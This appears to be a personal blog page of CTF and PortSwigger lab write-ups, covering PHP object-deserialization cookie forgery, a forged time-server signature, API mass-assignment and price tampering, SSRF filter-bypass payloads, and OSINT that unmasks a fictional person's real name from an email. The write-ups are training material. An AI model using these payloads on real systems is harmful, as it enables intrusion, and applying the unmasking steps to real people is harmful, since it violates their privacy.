Web: PDF Generator

CTF · 2024-06-27

Web: Hidden In Plain Sight

Solution when we start we see a simple login page When i go to /robots.txt i found this User-agent: * Disallow: /s3cr3t_b4ckup when you go to /s3cr3t_b4ckup you will be able to download the source code the code config.php whose content is <?php $valid_username = 'guest'; $valid_password = 'guest@123456'; ?> This is very good i used this credential to login we have also login.php which contains <?php include("config.php"); class User { public $username; private $password; public function __construct($username, $password) { $this->username = $username; $this->password = $password; } } if ($_SERVER['REQUEST_METHOD'] === 'POST') { $username = $_POST['username']; $password = $_POST['password']; if ($username === $valid_username && $password === $valid_password) { $user= new User($username, $password); $cookie_value = base64_encode(serialize($user)); setcookie('login', $cookie_value, time() + 3600, '/'); header('Location: profile.php'); exit(); } else { $error_message = 'Invalid username or password.'; } } ?> The interesting info here that the cookie is formed by calculating base64 of the serialized object of the logged in user. so if we decode out current cookie it becomes O:4:"User":2:{s:8:"username";s:5:"guest";s:14:"Userpassword";s:12:"guest@123456";} It’s corresponding to a user object with the credential we used. for more understanding of how the php serialized object created here in the src code there’s also profile.php which contains <?php include("flag.php"); include("config.php"); include("user.php"); if (isset($_COOKIE['login'])) { $user = unserialize(base64_decode($_COOKIE['login'])); if ($user instanceof User) { if ($user->is_admin()) { $welcome_message= "Welcome, admin! <br> $flag"; } else { $welcome_message= 'Hello, ' . htmlspecialchars($user->username); } } else { header('Location: index.php'); exit(); } } else { header('Location: index.php'); exit(); } ?> from this code we see that the flag will appear if the logged in user is instance of user and is_admin() returns True This function is tested on the cookie after decoding and unserializing the cookie (returning it to object). The last file in src code is user.php whose content is <?php class User { public $username; private $isAdmin = false; private $password; public function __construct($username, $password) { $this->username = $username; $this->password = $password; } public function getPassword() { return $this->password; } public function getUsername() { return $this->username; } public function is_admin() { return $this->isAdmin; } } ?> we see that is_admin() returns True if isAdmin attribute equals True. So our idea here is updating the cookie by adding isAdmin attribute and setting it to True. Note the validation to render the flag is done in isAdmin only, so we don’t need the username, etc … (including them isn’t a problem but i will ignore them xD) So the serialized object here became O:4:"User":1:{s:7:"isAdmin";b:1;} digging the serialized object O: object 4: object name length (needed for parsing) User: object name 1: number of object attributes s: string 7: string's name length isAdmin: string's name b: boolean 1: true encode it and add it in the browser cookie or burp and you will get the flag Congratzzzz

CTF · 2024-06-27

Web: pow (easy)

CTF · 2024-06-23

Web: One Day One Letter (normal)

Description Everything comes to those who wait. Flag Format: FLAG{…} Solution in This challange we have Time server and content server The time server from http import HTTPStatus from http.server import BaseHTTPRequestHandler, HTTPServer import json import time from Crypto.Hash import SHA256 from Crypto.PublicKey import ECC from Crypto.Signature import DSS key = ECC.generate(curve='p256') pubkey = key.public_key().export_key(format='PEM') class HTTPRequestHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path == '/pubkey': self.send_response(HTTPStatus.OK) self.send_header('Content-Type', 'text/plain; charset=utf-8') self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() res_body = pubkey self.wfile.write(res_body.encode('utf-8')) self.requestline else: timestamp = str(int(time.time())-60*60*24).encode('utf-8') h = SHA256.new(timestamp) signer = DSS.new(key, 'fips-186-3') signature = signer.sign(h) self.send_response(HTTPStatus.OK) self.send_header('Content-Type', 'text/json; charset=utf-8') self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()}) self.wfile.write(res_body.encode('utf-8')) handler = HTTPRequestHandler httpd = HTTPServer(('', 5001), handler) httpd.serve_forever() The time server generates the current timestamp and signs with specific ECC key The conent server import json import os from datetime import datetime from http import HTTPStatus from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.request import Request, urlopen from urllib.parse import urljoin from Crypto.Hash import SHA256 from Crypto.PublicKey import ECC from Crypto.Signature import DSS FLAG_CONTENT = os.environ.get('FLAG_CONTENT', 'abcdefghijkl') assert len(FLAG_CONTENT) == 12 assert all(c in 'abcdefghijklmnopqrstuvwxyz' for c in FLAG_CONTENT) def get_pubkey_of_timeserver(timeserver: str): req = Request(urljoin('https://' + timeserver, 'pubkey')) with urlopen(req) as res: key_text = res.read().decode('utf-8') return ECC.import_key(key_text) def get_flag_hint_from_timestamp(timestamp: int): content = ['?'] * 12 idx = timestamp // (60*60*24) % 12 content[idx] = FLAG_CONTENT[idx] return 'FLAG{' + ''.join(content) + '}' class HTTPRequestHandler(BaseHTTPRequestHandler): def do_OPTIONS(self): self.send_response(200, "ok") self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS') self.send_header("Access-Control-Allow-Headers", "X-Requested-With") self.send_header("Access-Control-Allow-Headers", "Content-Type") self.end_headers() def do_POST(self): try: nbytes = int(self.headers.get('content-length')) body = json.loads(self.rfile.read(nbytes).decode('utf-8')) timestamp = body['timestamp'].encode('utf-8') signature = bytes.fromhex(body['signature']) timeserver = body['timeserver'] pubkey = get_pubkey_of_timeserver(timeserver) h = SHA256.new(timestamp) verifier = DSS.new(pubkey, 'fips-186-3') verifier.verify(h, signature) self.send_response(HTTPStatus.OK) self.send_header('Content-Type', 'text/plain; charset=utf-8') self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() dt = datetime.fromtimestamp(int(timestamp)) res_body = f'''<p>Current time is {dt.date()} {dt.time()}.</p> <p>Flag is {get_flag_hint_from_timestamp(int(timestamp))}.</p> <p>You can get only one letter of the flag each day.</p> <p>See you next day.</p> ''' self.wfile.write(res_body.encode('utf-8')) self.requestline except Exception: self.send_response(HTTPStatus.UNAUTHORIZED) self.end_headers() handler = HTTPRequestHandler httpd = HTTPServer(('', 5000), handler) httpd.serve_forever() In the content server when we post the timestamp, signature and time server then it sends request to the timeserver to /pubkey endpoint to get the public key and then it verifies the signature using this key So u don’t need to think about the encrpytion as the content server does its magic alone u just sent him the time server which you will control in the json and he will ask the time server for the key without any problems Steps: run the time server locally run ngroc using ngroc http 5001 we used ngroc because the content server can’t see our local time server so ngroc works as port forwarder in the middle and we used port 5001 as it’s the port we use in the time server and http because it supports https and we need https because the content server has this line req = Request(urljoin('https://' + timeserver, 'pubkey')) and we see that it uses https with the time server you can send get request to get specific timestamp and the signature In the content server we POST the timestamp and signature we got and also the time server will be the ngroc IP as it’s our new time server and it works !! we can now get the whole flag as we control the time server by adding 606024 to the timestamp which equals one day in seconds repeat this until u get the flag: FLAG{lyingthetime} Congratzzzzz

CTF · 2024-06-23

Web: Noscript (normal)

CTF · 2024-06-23

Web: Bad_Worker (beginner)

Description We created a web application that works offline. Flag Format: FLAG{…} Solution When we first open the challange we see this After movement within the site, I found nothing interesting. Then i went to examine the JS files within the site. I found a file named service-worker.js with the content // Caution! Be sure you understand the caveats before publishing an application with // offline support. See https://aka.ms/blazor-offline-considerations self.importScripts('./service-worker-assets.js'); self.addEventListener('install', event => event.waitUntil(onInstall(event))); self.addEventListener('activate', event => event.waitUntil(onActivate(event))); self.addEventListener('fetch', event => event.respondWith(onFetch(event))); const cacheNamePrefix = 'offline-cache-'; const cacheName = `${cacheNamePrefix}${self.assetsManifest.version}`; const offlineAssetsInclude = [ /\.dll$/, /\.pdb$/, /\.wasm/, /\.html/, /\.js$/, /\.json$/, /\.css$/, /\.woff$/, /\.png$/, /\.jpe?g$/, /\.gif$/, /\.ico$/, /\.blat$/, /\.dat$/ ]; const offlineAssetsExclude = [ /^service-worker\.js$/ ]; async function onInstall(event) { //console.info('Service worker: Install'); // Fetch and cache all matching items from the assets manifest const assetsRequests = self.assetsManifest.assets .filter(asset => offlineAssetsInclude.some(pattern => pattern.test(asset.url))) .filter(asset => !offlineAssetsExclude.some(pattern => pattern.test(asset.url))) .map(asset => new Request(asset.url, { integrity: asset.hash, cache: 'no-cache' })); await caches.open(cacheName).then(cache => cache.addAll(assetsRequests)); event.waitUntil(self.skipWaiting()); // すぐにactivateにする } async function onActivate(event) { // Delete unused caches const cacheKeys = await caches.keys(); await Promise.all(cacheKeys .filter(key => key.startsWith(cacheNamePrefix) && key !== cacheName) .map(key => caches.delete(key))); event.waitUntil(self.clients.claim()); // すぐにserviceWorkerを有効にする } async function onFetch(event) { let cachedResponse = null; if (event.request.method === 'GET') { const shouldServeIndexHtml = event.request.mode === 'navigate'; let request = event.request; if (request.url.toString().includes("FLAG.txt")) { request = "DUMMY.txt"; } if (shouldServeIndexHtml) { request = "index.html" } return fetch(request); } return cachedResponse || fetch(event.request); } /* Manifest version: Rq/NTVa4 */ So We need to send a GET request to /FLAG.txt endpoint and we will get the flag Congratzzzzzzzzzzzzzzz

CTF · 2024-06-23

Owasp Juice Shop

CTF · 2024-04-24

API testing: challange 3

Exploiting a mass assignment vulnerability Link: https://portswigger.net/web-security/api-testing/lab-exploiting-mass-assignment-vulnerability To solve the lab, find and exploit a mass assignment vulnerability to buy a Lightweight l33t Leather Jacket. You can log in to your own account using the following credentials: wiener:peter. solution Start the challange by logging using wiener:peter credentials I navigated through the website to find api endpoints After navigation i found it when you add item to cart, go to your cart and click place order This moves you to this API endpoint /api/checkout and this is the request body when the request method is POST { "chosen_products":[ { "product_id":"1", "quantity":1, "item_price":0 } ] } I tried to change the request method to PUT and i found in the response that only GET, POST are the allowed methods When i change the request method to GET i get this response { "chosen_discount":{ "percentage":0 }, "chosen_products":[ { "product_id":"1", "name":"Lightweight \"l33t\" Leather Jacket", "quantity":2, "item_price":133700 } ] } We note that there’s chosen_discount Let’s add it the body of the request and send the post request but after making the chosen_discount = 100 Congratzzzzzzzzzzzzzzzzzz

CTF · 2024-03-05

API testing: challange 2

Finding and exploiting an unused API endpoint Link: https://portswigger.net/web-security/api-testing/lab-exploiting-unused-api-endpoint To solve the lab, exploit a hidden API endpoint to buy a Lightweight l33t Leather Jacket. You can log in to your own account using the following credentials: wiener:peter solution Start the challange by logging using wiener:peter credentials I navigated through the website to find api endpoints After some navigation, I found that when you go to https://0ad4003703ff9a3680c8767500820061.web-security-academy.net/product?productId=1 you will visit the API endpoint /api/products/1/price After some trials i found that when i change the request method the response gives me this Allow: GET, PATCH when i try PATCH request method, i get this in the response {"type":"ClientError","code":400,"error":"Only 'application/json' Content-Type is supported"}’ So let’s add this header Content-Type: application/json and i got internal server error After trials i found that by adding {} in the body of the request i get this message in the response {"type":"ClientError","code":400,"error":"'price' parameter missing in body"} So i added the price parameter in the request body and set it to 0 like this {"price":0} Nice, when i go to my cart i find that the total price = 0 so i can purchase now Congratzzzzzzzzzzzzzz

CTF · 2024-03-05

API testing: challange 1

Exploiting an API endpoint using documentation Link: https://portswigger.net/web-security/api-testing/lab-exploiting-api-endpoint-using-documentation To solve the lab, find the exposed API documentation and delete carlos. You can log in to your own account using the following credentials: wiener:peter solution Start the challange by logging using wiener:peter credentials I navigated through the website to find api endpoints but i didn’t find I tried to find if there’s an exposed api documentation by visiting the url https://0a3c005a033bf00881c694ba005c0041.web-security-academy.net/api/ I found this page The info we need are here we can delete the user carlos now by visiting https://0a3c005a033bf00881c694ba005c0041.web-security-academy.net/api/user/carlos and making the request DELETE Congratzzzzzzzzzzzz

CTF · 2024-03-05

OSINT: Lost In History (easy)

Description MM0X and xElessaway were in a mission to find someone but seems they had a stalker and got us this picture of them both. can you identify the place they were? Flag Format: 0xL4ugh{The Name of the place with spaces} solution Let’s go after analyzing the image i found some notes which may be important They are numbered in this img label 1: a reflection of a word label 2&3: are statues The word in label one after zooming and guessing the rest of the word i believe it’s ‘المومياوات’ The statues are indication that this may be a museum So when i searched using ‘متحف المومياوات’ i found this result The place is The national museum of Egyptian Civilization and you can confirm that by searching for photos of this museum Then the flag is 0xL4ugh{The national museum of Egyptian Civilization}

CTF · 2024-02-10

Misc: Library (hard)

CTF · 2024-02-10

Misc: GitMeow (medium)

CTF · 2024-02-10

OSINT: Cheater (medium)

Description Our team received a request from a man who believes his wife may be cheating on him. He asked us to help by checking her accounts for any evidence. He provided his wife’s name, “Hamdia Eldhkawy” and mentioned that a friend informed him she shared a picture with someone on social media. He couldn’t find the image and wants us to discover the man’s real name. Flag Format: 0xL4ugh{First Name_Last Name} Solution Let’s go First i started searching using Hamdia Eldhkawy using google after some trials i found nothing useful I decided to try searching for Hamdia Eldhkawy using bing search good news, i found an instagram profile instagram_profile I searched within the profile trying to get useful information for next steps examining followers posts I stuck for a long time here as i thought the followers or the people reacting to her posts maybe interesting, so i spent some time with some reacting users but with no useful information I also tried using the pictures in her posts in reverse image search, but also with no useful results Then i noticed important thing that all the posts are about AI generated pictures This may indicate that she is interested in AI and this gave me a hint to the next step Let’s go back to bing and search using Hamdia Eldhkawy ai and we got this results The OPENAI link is the treasure here OPENAI post When we go in we find interesting comment from a user called Hamada_Elbes I remember you, Hamada Hamade_Elbes was an OSINT challange in 0xl4ugh ctf 2023 xDDDD anyway let’s back and look at the comment The comment is: Haha Hamdia, I already caught that :wink: I can share it with your husband <3 with the photo below After analyzing this image carefully we will find important information First, The url may move us to the post Second, Hamdia mentioned her boyfriend in the post but the picture is cropped so we just know that his account starts by spide and this’s not enough When we try to access the link in the image we willn’t get that post Maybe Hamdia deleted it ummmmmmmmmmmmmm Good one, Hamdia but you are too late as Hamada_Elbes caught you xDD We need to reach that deleted post and in this situation we will think abount web archiving I tried wayback machine but with no useful results Then i searched for an alternative and after many trials this worked with me archive.ph Let’s open it and get the info we need The treasures in here finally she mentioned spidersh4zly What are you waiting for?! Let’s search for him on instagram And this is his account There’s another link in his profile for more information, and i see that there’s nothing else important Let’s go to this link We see many accounts for spidersh4zly after analyzing them i found that all are useless except the gmail We can use the gmail in getting his real name using a powerful tool called epieos Go to its site insert the email and let it makes its magic And here’s the results We found him. He is Abdelfatah ElCanaway Congratz we got it. The flag: 0xL4ugh{Abdelfatah_ElCanaway}

CTF · 2024-02-10

SSRF: challange 5

SSRF with filter bypass via open redirection Link: https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection This lab has a stock check feature which fetches data from an internal system. To solve the lab, change the stock check URL to access the admin interface at http://192.168.0.12:8080/admin and delete the user carlos. The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first. solution start the lab and remember the objective is to open /admin and delete the user carlos if u try going to /admin endpoint, you will n’t get the result as u can’t access it directly. so let’s go to products and click check stock as challange describtion said intercept this request POST /product/stock HTTP/2 Host: 0aba00cf04fc37d787d2ecab009800c8.web-security-academy.net Cookie: session=Jkj8BtT8GyJXGIIkD92AI4jVwg1i5kVt; session=xePg3AZmakzW3clhYyuezrf201WpqbH6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://0aba00cf04fc37d787d2ecab009800c8.web-security-academy.net/product?productId=5 Content-Type: application/x-www-form-urlencoded Content-Length: 65 Origin: https://0aba00cf04fc37d787d2ecab009800c8.web-security-academy.net Dnt: 1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers stockApi=%2Fproduct%2Fstock%2Fcheck%3FproductId%3D5%26storeId%3D1 we see that in the stockAPI parameter, we can’t make the server issue the request directly to a different host. but when we intercept next product request we find that there’s a path parameter so we can make use of it in stockAPI parameter ny making it = /product/nextProduct?path=http://192.168.0.12:8080/admin It redirects us to admin interface, so let’s delete carlos by making stockAPI=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos congratzzzzzzzzzzzz

CTF · 2024-02-09

SSRF: challange 4

SSRF with whitelist-based input filter Link: https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter This lab has a stock check feature which fetches data from an internal system. To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos. The developer has deployed an anti-SSRF defense you will need to bypass. solution start the lab and remember the objective is to open /admin and delete the user carlos if u try going to /admin endpoint, you will n’t get the result as u can’t access it directly u will get this message Admin interface only available if logged in as an administrator, or if requested from loopback so let’s go to products and click check stock as challange describtion said intercept this request POST /product/stock HTTP/2 Host: 0a0d0067037080968141b6080065004b.web-security-academy.net Cookie: session=h74HgBoArcl80JrdU0IBbH5Edvr3JI69 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://0a0d0067037080968141b6080065004b.web-security-academy.net/product?productId=3 Content-Type: application/x-www-form-urlencoded Content-Length: 107 Origin: https://0a0d0067037080968141b6080065004b.web-security-academy.net Dnt: 1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D3%26storeId%3D1 notice that stockApi parameter has a url as a value, so let’s try to change it to http://localhost/admin and the send the request ummmmmmmmmmm it’s blocked and also all the trials like http://127.1 let’s try this http://localhost@stock.weliketoshop.net/ this gives “Internal Server Error” response. after appending # to localhost the url is rejected so let’s try double URL encoding the # to be %2523 then the stockApi parameter became http://localhost%2523@stock.weliketoshop.net/ and the status code of the response became 200 let’s delete carlos using http://localhost%2523@stock.weliketoshop.net/admin/delete?username=carlos congratzzzzzzzzzzzzzzzzzz

CTF · 2024-02-09

SSRF: challange 3

SSRF with blacklist-based input filter Link: https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter This lab has a stock check feature which fetches data from an internal system. To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos. The developer has deployed two weak anti-SSRF defenses that you will need to bypass. solution start the lab and remember the objective is to open /admin and delete the user carlos if u try going to /admin endpoint, you will n’t get the result as u can’t access it directly u will get this message Admin interface only available if logged in as an administrator, or if requested from loopback so let’s go to products and click check stock as challange describtion said intercept this request POST /product/stock HTTP/1.1 Host: 0a8800100385496e84c90fc700fa00af.web-security-academy.net Cookie: session=ffMtPXx2g8AmQYwWYmNulgDa0wkhrt4i User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://0a8800100385496e84c90fc700fa00af.web-security-academy.net/product?productId=2 Content-Type: application/x-www-form-urlencoded Content-Length: 107 Origin: https://0a8800100385496e84c90fc700fa00af.web-security-academy.net Dnt: 1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D2%26storeId%3D1 notice that stockApi parameter has a url as a value, so let’s try to change it to http://localhost/admin and the send the request ummmmmmmmmmm it’s blocked so let’s try this http://127.1 Nice we got response with status code 200 OK then let’s try http://127.1/admin It’s blocked so there may be restriction on admin let’s do some obsufication like double url encoding of any character like a is example the payload became http://127.1/%25%36%31dmin sent the request Nice we got response with status code 200 OK when we look at the response body we see this <div> <span>wiener - </span> <a href="/admin/delete?username=wiener">Delete</a> </div> <div> <span>carlos - </span> <a href="/admin/delete?username=carlos">Delete</a> </div> and that’s what we exactly need send the previous request again but with stockApi parameter value = http://127.1/%25%36%31dmin/delete?username=carlos Carlos is deleted Congratzzzzzzzzzzzzzzzzzzzzzzzzzzzz

CTF · 2024-02-09

SSRF: challange 2

Basic SSRF against another back-end system Link: https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system This lab has a stock check feature which fetches data from an internal system. To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos. solution start the lab and remember the objective is to open /admin and delete the user carlos if u try going to /admin endpoint, you will n’t get the result as u can’t access it directly. so let’s go to products and click check stock as challange describtion said intercept this request POST /product/stock HTTP/1.1 Host: 0aa4001c041a5c3f81caca2000520096.web-security-academy.net Cookie: session=2Gw97cnP5g3C7q7rHceYJzb6gt78siRj User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://0aa4001c041a5c3f81caca2000520096.web-security-academy.net/product?productId=1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Origin: https://0aa4001c041a5c3f81caca2000520096.web-security-academy.net Dnt: 1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close stockApi=http%3A%2F%2F192.168.0.1%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1 notice that stockApi parameter has a url as a value, so let’s try to change it to http://192.168.0.x:8080/admin as said in describtion. we don’t know the value of x so we will send the request to the intruder for brute forcing to be like this POST /product/stock HTTP/1.1 Host: 0aa4001c041a5c3f81caca2000520096.web-security-academy.net Cookie: session=2Gw97cnP5g3C7q7rHceYJzb6gt78siRj User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://0aa4001c041a5c3f81caca2000520096.web-security-academy.net/product?productId=1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Origin: https://0aa4001c041a5c3f81caca2000520096.web-security-academy.net Dnt: 1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close stockApi=http://192.168.0.§x§:8080/admin notice that x is between two of § character, as it’s parameter of the brute force to choose the values of it we will go to payloads tab change payload type to numbers and make it ranges from 0 to 255 with step 1 start the attack and wait until you see a request with status 200 when you find it this means that this is the suitable ip back to the repeater and use it with changing the value of the stockApi to: /admin/delete?username=carlos carlos is deleted congratzzzzzzzzzzzzzzzzzzzzz

CTF · 2024-02-09

SSRF: challange 1

Basic SSRF against the local server Link: https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost This lab has a stock check feature which fetches data from an internal system. To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos. solution start the lab and remember the objective is to open /admin and delete the user carlos if u try going to /admin endpoint, you will n’t get the result as u can’t access it directly u will get this message Admin interface only available if logged in as an administrator, or if requested from loopback so let’s go to products and click check stock as challange describtion said intercept this request POST /product/stock HTTP/1.1 Host: 0a81005f047071e181a5de86001a00cb.web-security-academy.net Cookie: session=CMThK0h99viMGTnCHS5TWoh3xgfVOzH5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://0a81005f047071e181a5de86001a00cb.web-security-academy.net/product?productId=2 Content-Type: application/x-www-form-urlencoded Content-Length: 107 Origin: https://0a81005f047071e181a5de86001a00cb.web-security-academy.net Dnt: 1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D2%26storeId%3D1 notice that stockApi parameter has a url as a value, so let’s try to change it to http://localhost/admin and the send the request Nice we got response with status code 200 OK when we look at the response body we see this <div> <span>wiener - </span> <a href="/admin/delete?username=wiener">Delete</a> </div> <div> <span>carlos - </span> <a href="/admin/delete?username=carlos">Delete</a> </div> and that’s what we exactly need send the previous request again but with stockApi parameter value = http://localhost/admin/delete?username=carlos Carlos is deleted Congratzzzzzzzzzzzzzzzzzzzzzzzzzzzz

CTF · 2024-02-09

0xk4k45h1

Contact

CTF